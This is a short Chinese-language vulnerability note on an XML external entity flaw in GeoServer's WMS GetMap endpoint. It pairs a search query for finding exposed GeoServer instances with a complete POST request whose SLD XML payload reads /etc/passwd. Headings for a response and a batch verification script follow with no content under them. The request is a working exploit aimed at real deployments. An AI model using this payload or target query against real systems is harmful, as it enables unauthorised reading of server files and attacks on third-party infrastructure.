漏洞描述
该漏洞源于GeoServer的WMS服务中/geoserver/wms端点的GetMap操作,在处理XML请求时未对实体引用进行充分限制。攻击者可通过构造恶意XML数据注入外部实体,实现读取服务器敏感信息(如文件内容)、发起服务端请求伪造(SSRF)或导致拒绝服务(DoS)攻击。。
资产收集
鹰图平台
app="GeoServer"
发送请求
POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&layers=topp:states&bbox=-130,24,-66,50&width=800&height=400&srs=EPSG:4326&format=image/png HTTP/1.1
Host:
Content-Type: application/vnd.ogc.sld+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">
<NamedLayer>
<Name>&xxe;</Name>
<UserStyle/>
</NamedLayer>
</StyledLayerDescriptor>返回包

批量验证脚本